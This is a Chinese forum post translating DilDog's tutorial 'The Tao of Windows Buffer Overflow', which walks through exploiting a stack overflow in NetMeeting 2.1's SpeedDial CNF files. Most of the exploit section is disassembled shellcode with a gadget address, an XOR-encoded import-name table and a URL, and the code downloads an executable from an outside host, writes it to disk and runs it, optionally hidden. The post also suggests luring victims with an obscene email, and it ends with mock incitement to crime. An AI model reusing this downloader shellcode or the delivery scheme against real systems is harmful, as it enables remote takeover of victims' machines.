这是我第一次翻译文章,才知道翻译的艰辛,很大程度上不在是阅读英文,而是如何用合适的中文表达出来。经常需要反复斟酌。
这篇文章堪称经典,而我作的翻译工作也实在不怎么拿得出台面。这篇文章很短,语言也很通俗,一般大家都能轻松看懂。不过,也算是我的一次尝试把。
翻译得很匆忙,很多语言都没仔细斟酌,让大家见笑了。不过我力求在技术方面的问题上做到认真,如果大家发现译文中什么问题有疏漏,请不吝赐教,谢谢。
附件里面是译文,原文在另一个帖子里有,就是我求这篇文章的那个帖子。既然之前已经上传了原文,这里就不再给论坛浪费空间了。
====================================================================================================================
The Tao of
Windows Buffer Overflow
Windows缓冲区溢出之道
as taught by
DilDog
cDc Ninja Strike Force
9-dan of the Architecture
Sensei of the Undocumented Opcode
翻译:kmyc
kmyc@sina.com
http://blog.sina.com.cn/pxtliz
导言
对缓冲区溢出的利用需要耐心,知识,技巧,和想象力。我没法教你耐心,也没法明了你的主意。不过我可以给你介绍一些工具和相关的概念,让你可以自己构建对 Windows 95, 98 and NT操作系统的缓冲区溢出漏洞的利用。
在阅读这篇文章前,你必须熟知以下内容:
Intel x86 汇编, 最好是 Pentium 的。
通用 Windows 系统体系结构 (你必须知道什么是PE可执行文件结构, PE-Executable)
知道 URL 。
有C语言方面的工作知识。
拥有下面这些工具将会对你相当有帮助:
一个好的十六进制编辑/汇编/反汇编器, 比如 HIEW
一个实时调试器, 比如 SoftICE
一些Visual C++自带工具, 特别是DUMPBIN.
读完所有的这些, 操上你所有的工具,也许你对于阅读以下材料仍然完全没有准备。但是希望你将会理解在众多需要掌握的东西里,什么是最要紧的。首先,让我们开始了解一些最基本的东西,那就是缓冲区溢出的基本原理。
基本原理
当一些非常大的东西放到相对太小的容器里时,就会导致缓冲区溢出。这是一些地方必然会发生的事情。下面是一段示例代码:
void func(void)
{
int i;
char buffer[256];
// *
for(i=0;i<512;i++)
buffer[i]='A'; // !
return;
}
正如你所见, 我们定义的‘buffer’最多只能装下256个‘A’,接着的256个根本就不可能装下。余下的这些‘A’跑到别的地方去了。
而它们到底跑哪里去了呢?这依赖于你的操作系统实现还有你用的编程语言,但是如果你的编程语言没有像Java那样的自动化边界检查功能,我敢和你打赌你的那些‘A’确实跑到别的地方去了,很不幸。
接下来这幅图是一个“健康的”32位栈,像Windows 9x/NT这样运行在Intel平台上的操作系统的栈就是这个样子的。当上边的那个代码运行到我标注* 的地方时,栈看起来就应该是下面这个样子的。
STACK
----------------
Local Variables
ESP-> i
Buffer
----------------
EBP-> Old Value of EBP
----------------
Return Address
----------------
当“func”函数返回时,会把EBP的内容存入ESP,然后从栈里弹出返回地址。当我们上面的代码运行到我注释为!的地方时,会溢出buffer,将‘A’写入上图中的“old value of EBP”和 “return address” 这些地方。通过改变返回地址(图中return address的值),你甚至可以改变程序的运行流程。你必须作的所有事情就只是改变返回地址,指向你选择的内存区域,而当这个函数返回时,就会跳去执行你想执行的代码。你将缓冲区填上机器码, 然后当程序执行到RET时就会让EIP指向你的代码。不过自从Intel体系结构上的Windows 9x/NT设定栈段为不可执行后,这招就不管用了。(译注:这确实是Win32系统的一个对原始栈溢出攻击来说不利的设定,而至今在Linux系统上栈段仍然是可执行的,这种设定乃是因为Linux的一些信号处理代码必须在栈上执行)
基础课程就这样结束了。如果你在别的操作系统上写过缓冲区溢出的exploit,或者你已经完全掌握了这些基本概念,我们将进入识别Windows缓冲区溢出漏洞并且利用这些漏洞的细节部分。
看起来是什么样子的
当你看到这样的情况时:
你可能逮着了某种缓冲区溢出。当然,这样的错误警告一般来说太常见了,不过,仔细看看这些寄存器的值……
这个情况发生的原因是,我在一个叫“Microsoft Netmeeting”的流行的网络会议软件包(译注:Windows捆绑了这款软件)中的一个叫‘speeddial’捷径地址栏中输入了一个字符串,我输的这个字符串的每个字节的值都是0x80。EIP寄存器的值变成了0x80808080。猜猜咋的了,很好!我发现了一个栈溢出!现在我要做的就只是把任意的我想执行的代码填入某个地方,然后就像之前的那些0x80字节一样,以这个地方的地址,4字节为一个单位,不断重复地填入,让EIP最终指向我的代码。
请注意这样一个事实:别的类型的错误也会导致这样一个类似的对话框,但并不是所有的这些错误都是因为缓冲区溢出。有些缓冲区溢出很好利用,而其它的则不是这样。这篇文章我打算讲一讲Windows上利用栈溢出的技巧。其它类型的缓冲区溢出,比如Intel Win95/98/NT上的可利用的堆溢出,智商超过50的读者在本章之余肯定都能轻松搞定了。
一旦你非常确定你找到了一个缓冲区溢出漏洞,那么你需要酝酿一下,你有些什么办法,然后找找有什么工具可以用一用。
这该如何去利用呢?
现在,我们得搞清楚实际上到底发生了些什么事。为了创造这次缓冲区溢出的情形,我建立了一个叫"overflow.cnf"的文件。CNF是当你在Microsoft Netmeeting 中将'SpeedDial'捷径存到磁盘上时用到的文件格式。CNF文件一般存储了别人的包含网页的电子邮件,这样在netmeeting上你可以呼叫他们。
如果你想利用这个溢出,很简单,启动Netmeeting,找到ILS服务器上的一组人,寄给他们带了CNF 文件作为附件的电子邮件。在邮件上你可以这么写: My girlfriend and I want you to watch us fuck while you spank it! Call us soon, we're horny! (译注:狠!!!)他们将点击图标。建立一个假连接到ILS服务器,建立一个伪用户,而我们的exploit就放在这个假地址里,所以如果他们点击这个名字,他们就挂了。All kinds of fun owning the machines of horny men looking for titties on the net! (译注:上帝保佑)
好,开搞!那我们应该构建什么呢?嗯,溢出发生在‘RUNDLL32.EXE’里,这个文件在Windows 95和Windows NT里大小可是不同的。毫无疑问,它们有不同的导入表(要不自己用DUMPBIN证实下)。噢,顺便说一下,这个特殊的溢出仅仅发生在Windows 95下,但是这种利用技术照样可以运行在Windows NT下。还有,我用的Netmeeting的版本是2.1。
好处和坏处
当那个崩溃发生时,如果你点'close',你将发现Netmeeting没法关闭。这意味着RUNDLL32是被载入了独立的进程空间的。这既是好事又是坏事。好处是不管你做什么,你都不需要涉猎大量的复杂的代码,这看起来没有什么疑问,因为Netmeeting并没有关掉。坏处是RUNDLL32并没有从DLL和外部资源载入太多的东西。看样子,我们得自己载入那些东西。
要进一步的观察,我们会有更多烦人的事要处理。可执行文件比如RUNDLL32.exe的基地址为0x00400000。这意味着几乎所有的栈地址都包含NULL字符。太不走运了,因为几乎所有的这类溢出问题都是出在C语言里面的无显式数量控制的字符串操作(译注:比如gets(),strcpy()函数)。因此,如果我们的代码里面有null字符,我们将损坏我们的exploit字符串因为字符串在被操作时将被null字符折断。其他的“不好的”字符包括:换行符,回车符,一些控制符,甚至在一些极端情况下,还包括小写字母或者大写字母,甚至ASCII 值大于等于0x80 的字符(最糟的情况)。我们必须得放聪明点。
我们必须得做的另一件事是:载入MSCONF.DLL。因为RUNDLL载入了它。我们注意到了这点是因为打开.CNF文件的命令行是"rundll32.exe msconf.dll,OpenConfLink %l",在那里(译注:MSCONF.DLL)定义了CNF文件类型。我们同时可以认为KERNEL32.DLL也被载入了因为KERNEL32的函数出现在RUNDLL32的导入表中。同样的,KERNEL32的函数也出现在了MSCONF.DLL的导入表中。让我们看看什么更可靠些:我们在hacking Netmeeting 2.1。这个产品的一个版本,也就是MSCONF.DLL的一个版本。而不同的操作系统版本或者各种升级版将载入各种不同版本或者修改版的RUNDLL32或KERNEL32。因此,如果我们要引用一个绝对虚拟地址(absolute virtual memory address)最好是选择MSCONF所拥有的区域,如若不然,我们将引用到不正确的地址(版本差异)。当然,这个问题只有在我们假设我们的目标是利用所有版本的操作系统时才存在。
接下来……我们看看别的程序员是如何得到它们的地址的。我们希望能用internet函数来填充我们的exploit代码,所以我们将要用到WSOCK32.DLL或者WININET.DLL。WinInet以很少的代码提供了更多的功能,所以我们用这个。WININET并没有被载入RUNDLL32的进程空间,因此我们得自己载入。但是先等等!我还没有提及如何控制EIP来指向我们的代码呢!所以,我们得……
攫取EIP
我们发现,一旦让缓冲区溢出合适的长度,我们就能改变一些函数的返回地址使程序跳转到我们选择的代码。这看起来很自然,我们可以象下面这样干:
Address=.....256字节废数据....1234xyz
当这个缓冲区的大小是256字节(我们通过实验来测得这个值,缓慢地增加或减少“address=”行的长度,直到我们获得能导致崩溃的确切字符数)时,上面的这个字符串向缓冲区填入256个字节的废数据,而将EBP覆盖为0x34333231,并将EIP写为0x00ZZYYXX,并且一直向后覆盖到在原字符串中碰到一个null终止符。这让我们把注意力集中到这些数据到底该放在栈的什么地方,猜猜为什么:我们只能在最末尾才能出现一个NULL!
在有些情况下,一切工作得很好。但是在别的情况,可能缓冲区太小了以至于根本没法给我们提供什么有用的价值,或者缓冲区一开始就被一大堆的控制或者分解字串塞满了。在很多情况下,把代码放在返回地址的后面是一个更好的办法,就像下面一样:
Address=.....256字节的废数据....1234wxyz我们的代码跟在这儿>>>
如果这样,你编写的你的exploit就会多占些空间,但是我们的栈跳转地址上的null字符会毁了这些。放弃这种把代码放置在返回地址后边的做法是我们的这个exploit必须做到的。在我们有机会处理之前,返回地址前面的那些填充也已经被毁坏了。我们最后跳向0xZZYYXXWW,而且这些WW,XX,YY,或ZZ不能是非法字符。我们到底该指向哪里?有这样的一些地方。
首先,打开你的实时调试器然后把一个exploit字符串写进去,毫无疑问程序会当掉。有些东西指向了明显的“坏”地址(打个比方,将0xZZYYXXWW设成0x34333231。那块内存没有任何代码,这将立即导致一个页异常)。现在运行程序并且让你的调试器跟踪进去。检查状态,看看我们面临的是什么情况。在这个exploit的例子里,我们发现ESP是唯一的指向我们的exploit代码附近的一些地方的一些东西的唯一寄存器。其实,它指向了我们覆盖的被保存的EBP的位置再加16字节。那好……我们到底该干什么呢?
我们想跳到栈上。实际上,跳向ESP就足够了。一个明智的方法是将0xZZYYXXWW设置为指向内存中像"jmp esp"或"call esp"或者类似的一些代码。但是,事情变得更复杂了:必须找到一块地址值中没有“坏字节”的代码,特别是0x00。我们在MSCONF.DLL中找到了一处这样子神奇的代码,首地址0x6A600000偏移为2A76:
.00002A76: 54 push esp
.00002A77: 2404 and al,004
.00002A79: 33C0 xor eax,eax
.00002A7B: 8A0A mov cl,[edx]
.00002A7D: 84C9 test cl,cl
.00002A7F: 740F je .000002A90
.00002A81: 80E930 sub cl,030 ;"0"
.00002A84: 8D0480 lea eax,[eax][eax]*4
.00002A87: 0FB6C9 movzx ecx,cl
.00002A8A: 42 inc edx
.00002A8B: 8D0441 lea eax,[ecx][eax]*2
.00002A8E: EBEB jmps .000002A7B
.00002A90: C20400 retn 00004
这段代码看起来不怎么像跳转esp,确实是这样的。它returns 到ESP。在跳转到2A7B时执行了PUSH ESP,后面的JE 2A90跳到了一个RET语句。这就相当于跳转到ESP。哈哈,一切都搞定了。MSCONF.DLL被载入了,并且我们预计这段代码在任何时间都会被载入相同的地址,因为我们只考虑同一个版本的MSCONF.DLL,它有一个固定的DLL基地址(译注:还有固定的偏移)。所以我们0xZZYYXXWW的值就是0x6A602A76。没有null,没有坏字符,没有任何乱七八糟的东西。我们已经攫取了EIP。现在这个进程是我们的了。开始做些有意义的事吧……
构建Exploit
现在我们已经获得了这台机器的控制权。我们该做些有意义的事了,但是我们代码的长度仍然有限。你将会发现往后763个字符,我们就溢出到了另一个地方。那里还有一个溢出漏洞,和这里这个不同的漏洞。所以Microsoft至少有两个bug需要修复。不过,我们就只利用现在这个漏洞吧。如果有时间,我们可以再去瞧瞧另外那个漏洞。
最开始的256个字符已经完全废掉了,所以我们的代码只剩500个字节。下面是我们必须考虑的:
exploit的最大长度为500字节
我们不知道目标运行的操作系统版本
我们不知道哪里有什么可用的函数
这真是有些不爽,不过,让我们站在一个non-exploit的观点看看。如果我是一个执行文件,在Windows下编译,我有可能运行在Win95上,也可能运行在WinNT上。如果我要调用ExitProcess,我是怎么知道那个函数在哪里的呢?在这两个操作系统上,这个函数是在Kernel32.DLL中的两个不同位置。(而且在W95的OSR1和OSR2中位置也不同,还有WinNT的不同的SP包,位置都不一样)。我不能随便跳向一个地址。
我必须被告知这些函数的位置。Win32 API有一个函数叫"GetProcAddress"。它返回你想要函数的地址,需要以你想要函数的函数名和该函数所在模块的句柄。那么GetProcAddress的地址是多少呢?我不知道!我们必须找到并且调用它。怎么做呢?利用导入表。
导入表(import table)是PE可执行文件格式中的结构,操作系统必须将一些函数的确切地址填入这张表里来告诉我们这些地址。用DUMPBIN来提取导入表。不管是DLL还是EXE文件都有导入表。我们知道MSCONF.DLL已经被载入内存中,而我们一直都在讨论同一个版本的MSCONF.DLL,如果GetProcAddress在导入表中,那么在MSCONF.DLL被载入时, GetProcAddress的地址会被操作系统写入MSCONF.DLL导入表中的固定位置。
我们来看看转储结果:
Microsoft (R) COFF Binary File Dumper Version 5.10.7303
Copyright (C) Microsoft Corp 1992-1997. All rights reserved.
Dump of file msconf.dll
File Type: DLL
Section contains the following imports:
KERNEL32.dll
23F Sleep
183 IsBadReadPtr
17E InterlockedIncrement
.
.
.
1E CompareStringA
98 FreeLibrary
116 GetProcAddress
190 LoadLibraryA
4C DeleteCriticalSection
51 DisableThreadLibraryCalls
.
.
.
这不就是嘛! GetProcAddress,还有LoadLibraryA!LoadLibrary可以用来取得已被载入的DLL的模块句柄,载入没有被载入的DLLs。它主要返回DLL基地址。这对于不同的操作系统来说很重要,因为在NT和95中KERNEL32.DLL被载入到不同地址。
我们弹出到我们的调试器里,然后搜索内存直到找到这些函数的地址。它们出现在0x6A60107C (LoadLibraryA),和0x6A601078 (GetProcAddress)。我们只需要用call指令调用这些直接地址(call dword ptr [0x6A60107C])就可以到达正确的地方。
为了提高效率,我们将exploit构建成两个部分:
构造一个存储了我们将会用到的函数的地址的跳转表(jumptable),然后
在运行我们的代码时通过引用跳转表来调用相应函数。
这将减少我们代码中必要的函数调用,并且最小化对栈的使用(栈被来保存寄存器的值)。这一点很重要,因为大量的PUSH 或POP可能会破坏我们的代码(译注:注意到之前我们是把代码放在ESP所指的地方,就算在代码的开头就让ESP指向别的比较远的地方(不能走太远),我们的代码也是在刀锋上),或者导致别的栈故障。为了构造这个跳转表,我们必须提前知道我们到底要调用哪些Win32函数。所以我们先来设想一下我们到底要干什么。500字节对于编写一个真正有用的Windows程序来说实在太小了,所以我们先写一个小的母体代码,这段代码从网上下载一个更大的、可执行的程序,然后执行这个程序。这样我们就只用写少量的繁琐的低级语言代码,来执行用高级语言编写的程序。
要从一个URL下载,我们需要WININET.DLL里面的InternetOpenA,InternetCloseHandle,InternetOpenUrlA,和InternetReadFile函数。我们还需要KERNEL32.DLL里的_lcreat,_lwrite,和 _lclose函数来将我们下载下来的程序写入磁盘。我们还需要KERNEL32.DLL中的GlobalAlloc函数来为我们的下载分配内存。我们同样需要WinExec和ExitProcess(也在KERNEL32.DLL里)来执行我们下载下来的程序,和在崩溃发生前干净地杀掉RUNDLL32进程(在产生错误警告而被用户发现前)。
请注意,在一个正常的Win32程序里,你绝不会调用_lcreat,或者任何其它的陈旧函数。不过,它们在Win95和NT中仍然存在,而且比CreateFile有更少的参数,更友好。所以我们用这些函数。
创建跳转表
现在创建跳转表。
障碍 #1: 我们需要用名字来引用函数
没错。GetProcAddress调用既可以用函数原型(我们不能用这个,因为这个随着版本的不同而不同),也可以用函数名。一个NULL结尾的函数名。我们的exploit字符串里面可以有null字符吗?Oh shit! 我们早该想到这个问题了!在通过URL字符串来从网上下载东西的时候我们也会碰到这样的问题!
我们又耍了一次小聪明。在所有的函数名还有URL中没有一个字符的ASCII值大于0x80的,那么我们把这些函数名还有URL放在exploit字符串的尾部,再统统和0x80来个XOR(直接加上0x80效果也一样)。当exploit开始执行时,我们简单地在exploit尾部作几次和0x80的XOR就行了。这样还有一个好处,就是当别人直接看我们的exploit字符串时,他们搞不清出我们到底要干什么。我也没打算给我们的代码加壳,因为没什么必要,只要我们的exploit能跑起来就行了。(译注:虽然刚开始只是对付NULL字符的权宜之计,不过这个办法确实很经典,我觉得这种敏锐的思想是远比那粗糙的早已过时的技巧要重要的多的“闪光点”)
我们把这些充斥着NULL字符的数据附加在exploit字符串的尾部:
00000270: .. .. .. .. .. .. .. 4B-45 52 4E 45-4C 33 32 00 KERNEL32
00000280: 5F 6C 63 72-65 61 74 00-5F 6C 77 72-69 74 65 00 _lcreat _lwrite
00000290: 5F 6C 63 6C-6F 73 65 00-57 69 6E 45-78 65 63 00 _lclose WinExec
000002A0: 45 78 69 74-50 72 6F 63-65 73 73 00-47 6C 6F 62 ExitProcess Glob
000002B0: 61 6C 41 6C-6C 6F 63 00-57 49 4E 49-4E 45 54 00 alAlloc WININET
000002C0: 49 6E 74 65-72 6E 65 74-4F 70 65 6E-41 00 49 6E InternetOpenA In
000002D0: 74 65 72 6E-65 74 43 6C-6F 73 65 48-61 6E 64 6C ternetCloseHandl
000002E0: 65 00 49 6E-74 65 72 6E-65 74 4F 70-65 6E 55 72 e InternetOpenUr
000002F0: 6C 41 00 49-6E 74 65 72-6E 65 74 52-65 61 64 46 lA InternetReadF
00000300: 69 6C 65 00-68 74 74 70-3A 2F 2F 77-77 77 2E 6C ile http://www.l
00000310: 30 70 68 74-2E 63 6F 6D-2F 7E 64 69-6C 64 6F 67 0pht.com/~dildog
00000320: 2F 65 61 74-6D 65 2E 65-78 65 00 .. .. .. .. .. /eatme.exe
但是我们用和0x80作XOR来消除这些00字节,象下面这样:
00000270: .. .. .. .. .. .. .. CB-C5 D2 CE C5-CC B3 B2 80 -+-++抖_? 00000280: DF EC E3 F2-E5 E1 F4 80-DF EC F7 F2-E9 F4 E5 80 _________? 00000290: DF EC E3 EC-EF F3 E5 80-D7 E9 EE C5-F8 E5 E3 80 _____?__+
000002A0: C5 F8 E9 F4-D0 F2 EF E3-E5 F3 F3 80-C7 EC EF E2 +_-_______
000002B0: E1 EC C1 EC-EC EF E3 80-D7 C9 CE C9-CE C5 D4 80 -___+++++++? 000002C0: C9 EE F4 E5-F2 EE E5 F4-CF F0 E5 EE-C1 80 C9 EE +_______-___-?_
000002D0: F4 E5 F2 EE-E5 F4 C3 EC-EF F3 E5 C8-E1 EE E4 EC ______+____+__
000002E0: E5 80 C9 EE-F4 E5 F2 EE-E5 F4 CF F0-E5 EE D5 F2 _?_______-___+_
000002F0: EC C1 80 C9-EE F4 E5 F2-EE E5 F4 D2-E5 E1 E4 C6 _-?_______-_? 00000300: E9 EC E5 80-E8 F4 F4 F0-BA AF AF F7-F7 F7 AE EC ______丢__
00000310: B0 F0 E8 F4-AE E3 EF ED-AF FE E4 E9-EC E4 EF E7 ____________
00000320: AF E5 E1 F4-ED E5 AE E5-F8 E5 80 .. .. .. .. .. __
明白了?好。
障碍 #2: 我们必须解码这张字串表
我们代码的首项任务是解码这些乱码,让我们先来干这件事:
00000146: 33C9 xor ecx,ecx
清空ECX,我们很快就要用到它。
00000148: B88053FF63 mov eax,063FF5380 ;"c_S?
0000014D: 2C80 sub al,080 ;"?
0000014F: C1C018 rol eax,018
设置EAX来指向我们内存中数据区域的尾部(我们之所以像上面这样绕弯子,全都是为了避免出现NULL字符)。
00000152: B1B4 mov cl,0B4 ;"?
ECX现在是0x000000B4,也就是我们将要XOR的字符数。
00000154: 48 dec eax
00000155: 803080 xor b,[eax],080 ;"?
00000158: E2FA loop 000000154 ---------- (1)
这就是XOR循环。看看为什么我们要从最内存后面开始XOR。现在EAX指向了解码后数据的开头,我们可以用它来引用这些函数名。到此为止,我们就开始正式建立跳转表了。
障碍 #3: 读入所有的函数地址
0000015A: BE7C10606A mov esi,06A60107C
0000015F: 50 push eax
00000160: 50 push eax
00000161: FF16 call d,[esi]
00000163: 8BF0 mov esi,eax
上面这些代码所做的事情就是调用LoadModule。这里我其实不需要push两次的,但是之前我在调试,而过后又忘记去掉了。如果愿意,你可以换成NOP语句。EAX 指向字符串"KERNEL32",这是LoadModule的第一个参数。当LoadModule返回时,会把kernel模块的句柄放进EAX,之后我们把这个值存在了ESI里面,这样在以后调用函数时,这个值不会被新的返回值冲掉。
00000165: 5B pop ebx
00000166: 8BFB mov edi,ebx
00000168: 6681EF4BFF sub di,0FF4B ;"_K"
这里让EDI指向跳转表的首部,我们把跳转表放在已解码字符串表向前181个字节处。
0000016D: FC cld
0000016E: 33C9 xor ecx,ecx
00000170: 80E9FA sub cl,-006
我们打算循环6次,从kernel模块里找到6个函数的地址。现在ECX=0x00000006。
00000173: 43 inc ebx
00000174: 32C0 xor al,al
00000176: D7 xlat
00000177: 84C0 test al,al
00000179: 75F8 jne 000000173 ---------- (1)
0000017B: 43 inc ebx
这个循环扫描文本,搜索下一个null字符(换句话说,就是指向下一个字符串),然后让EBX指向0x00字节后面的那个字节。这让我们从一个函数名移到下一个函数名。请注意XLAT命令,我喜欢这样,一个字节的代码就完成了整个内存引用过程。帅吧!
0000017C: 51 push ecx
0000017D: 53 push ebx
0000017E: 56 push esi
0000017F: FF157810606A call d,[06A601078]
00000185: AB stosd
00000186: 59 pop ecx
这里读出了我们需要的函数地址,存入EDI指向的跳转表中。
00000187: E2EA loop 000000173 ---------- (2)
循环。
现在我们已经处理完了kernel模块,我们也用这种方式处理WININET的函数。
00000189: 43 inc ebx
0000018A: 32C0 xor al,al
0000018C: D7 xlat
0000018D: 84C0 test al,al
0000018F: 75F8 jne 000000189 ---------- (2)
00000191: 43 inc ebx
这些代码让EBX穿过已解码字符串表中最后一个kernel函数名,指向"WININET"字符串。
00000192: 53 push ebx
00000193: 53 push ebx
00000194: FF157C10606A call d,[06A60107C]
0000019A: 8BF0 mov esi,eax
0000019C: 90 nop
0000019D: 90 nop
0000019E: 90 nop
0000019F: 90 nop
那些NOP命令和二次push也是调试产生的垃圾。不喜欢就跳过它们。这段代码取得WININET.DLL的模块句柄(基地址),存入ESI。
000001A0: 33C9 xor ecx,ecx
000001A2: 83E9FC sub ecx,-004
000001A5: 43 inc ebx
000001A6: 32C0 xor al,al
000001A8: D7 xlat
000001A9: 84C0 test al,al
000001AB: 75F8 jne 0000001A5
000001AD: 43 inc ebx
000001AE: 51 push ecx
000001AF: 53 push ebx
000001B0: 56 push esi
000001B1: FF157810606A call d,[06A601078]
000001B7: AB stosd
000001B8: 59 pop ecx
000001B9: E2EA loop 0000001A5
上面这些几乎就是之前用来取kernel函数地址的代码的翻版,不过这次是取4个WININET函数的地址。我希望你不需要我再都解释一遍了,否则就没完没了了。OK! 现在我们已经建立起自己的跳转表了。EDI指向了跳转表尾向后一个双字的距离,因此我们可以直接用EDI来引用这些函数。这看起来就像一个导入表,不过更有趣!
既然我们已经全副武装,敲几下键就够了。嚣张的时候终于到了。
The Shit
干些什么事的时候到了呢?让我们写点这样的东西:
000001BB: 90 nop
000001BC: 90 nop
000001BD: 33C0 xor eax,eax
000001BF: 6648 dec ax
000001C1: D1E0 shl eax,1
000001C3: 33D2 xor edx,edx
000001C5: 50 push eax
000001C6: 52 push edx
000001C7: FF57EC call d,[edi][-0014]
000001CA: 8BF0 mov esi,eax
这段代码从内存分配了131070个字节。给EAX送入131070,调用GlobalAlloc,通过EDI减0x14字节来使用跳转表里的直接地址。函数返回的内存地址存在了ESI里。GlobalAlloc的类型参数是GMEM_FIXED (0),这将导致返回的是一个内存地址,而不是一个未锁定的句柄。
000001CC: 33D2 xor edx,edx
000001CE: 52 push edx
000001CF: 52 push edx
000001D0: 52 push edx
000001D1: 52 push edx
000001D2: 57 push edi
000001D3: FF57F0 call d,[edi][-0010]
接着,我们调用InternetOpenA建立一个Internet句柄。在这里,所有传给InternetOpenA的参数都是0,我们挺幸运的。
internet句柄返回到EAX里,我们紧接着就把这作为一个参数传给我们要调用的下一个函数……
000001D6: 33D2 xor edx,edx
000001D8: 52 push edx
000001D9: 52 push edx
000001DA: 52 push edx
000001DB: 90 nop
000001DC: 52 push edx
000001DD: 8BD7 mov edx,edi
000001DF: 83EA50 sub edx,050 ;"P"
000001E2: 90 nop
000001E3: 90 nop
000001E4: 90 nop
000001E5: 52 push edx
000001E6: 50 push eax
000001E7: FF57F8 call d,[edi][-0008]
这些代码调用了InternetOpenUrlA (在[EDI-0x08]),连接我们选择的URL。这个URL的类型在代码里没有指明,所以可以是HTTP,FTP,FILE,GOPHER,……随你的便。
000001EA: 57 push edi
000001EB: 33D2 xor edx,edx
000001ED: 664A dec dx
000001EF: D1E2 shl edx,1
000001F1: 52 push edx
000001F2: 56 push esi
000001F3: 50 push eax
000001F4: FF57FC call d,[edi][-0004]
这段代码用InternetReadFile (在[EDI-0x04])下载131070字节数据到我们的内存缓冲区 (由ESI所指)。注意我们第一次把EDI压栈。我们将在EDI里面存入我们实际收到的字节数。我们在将接收到的文件存入磁盘时需要这个数据来标识文件的实际大小。
注意:你能下载的exploit可执行程序的大小是有限的。哇,如果这还太小了,靠。你他妈都写了些什么东西,一个MFC的exploit?操……(译注:骂得太爽了,不翻不给面子亚,呵呵)
000001F7: 90 nop
000001F8: 90 nop
000001F9: 90 nop
000001FA: 33D2 xor edx,edx
000001FC: 52 push edx
000001FD: 8BD7 mov edx,edi
000001FF: 83EA30 sub edx,030 ;"0"
00000202: 42 inc edx
00000203: 90 nop
00000204: 90 nop
00000205: 52 push edx
00000206: FF57D8 call d,[edi][-0028]
这里调用_lcreat (在[edi-0x28])创建一个文件存储内存缓冲区里面的内容。是该给这些数据一个家的时候了!文件名就选url的最后5个字符,在这里是"e.exe"。这个文件会被创建在exploit发生的地方(在Netmeeting这个例子里通常就是这个人的SpeedDial文件夹)。
00000209: FF37 push d,[edi]
0000020B: 56 push esi
0000020C: 50 push eax
0000020D: 8BD8 mov ebx,eax
0000020F: FF57DC call d,[edi][-0024]
现在我们开始调用_lwrite (在[edi-0x24])向磁盘里写数据了。应写入的字节数这个参数被存在了[edi]里。我们同样压入缓冲区的地址还有_lcreat返回的文件句柄。在调用这个函数前,我们把这个句柄存到了EBX里,这样就不致被_lwrite的返回值修改。
00000212: 53 push ebx
00000213: FF57E0 call d,[edi][-0020]
我们关闭文件的句柄,一切都按我们预计地进行。剩下的事就是执行我们下载的那个文件而后退出当前进程。我们不必劳神释放申请的内存或者类似的事情。太妙了,靠,别高兴得太早。
00000216: 90 nop
00000217: 90 nop
00000218: 90 nop
00000219: 33D2 xor edx,edx
0000021B: 42 inc edx
0000021C: 52 push edx
0000021D: 8BD7 mov edx,edi
0000021F: 83EA30 sub edx,030 ;"0"
00000222: 42 inc edx
00000223: 90 nop
00000224: 90 nop
00000225: 52 push edx
00000226: FF57E4 call d,[edi][-001C]
一切就绪,我们只用告诉WinExec运行我们的可执行文件!注意第一个'inc edx'语句,是用来选择这个可执行文件"Show Window"的模式。如果你想可执行文件运行在'hidden'模式,你必须nop掉这一行,用SW_HIDE而不是SW_SHOWNORMAL作为WinExec的第二个参数。第一个参数是文件名。Run it!
00000229: 90 nop
0000022A: 90 nop
0000022B: 90 nop
0000022C: FF57E8 call d,[edi][-0018]
这个进程已经完成了它的使命,ExitProcess将清空我们所有的罪证。大功告成。
就这些
我上面解释了这么久的代码可以作为任何Windows 95或NT程序的溢出“母体代码”。理论上也可以在Windows 98环境里跑。在这里我解释的这个Netmeeting 2.1 exploit我只在Win95上跑过,但是对别的操作系统,代码和技术都是差不多的。这个 Netmeeting的溢出漏洞在我写这些的时候还没有补丁,不过肯定很快就会被修补上的。学习,经验,财源滚滚。
现在你可以控制整个世界了。好好利用这些知识吧。打劫富人,打劫穷人。吃了你的猫。杀了你的父母。吹倒你们当地的初中。强奸幼畜。你可以为所欲为。当你被抓到时,就说是魔鬼驱使你做的这竿子事。
Oh yeah,我差点忘了。这只是说着玩的。
- 标 题: 【翻译】The Tao of Windows Buffer Overflow
- 作 者:kmyc
- 时 间:2007-04-13 23:59
- 附 件:Windows缓冲区溢出之道.rar
- 链 接:http://bbs.pediy.com/showthread.php?t=42687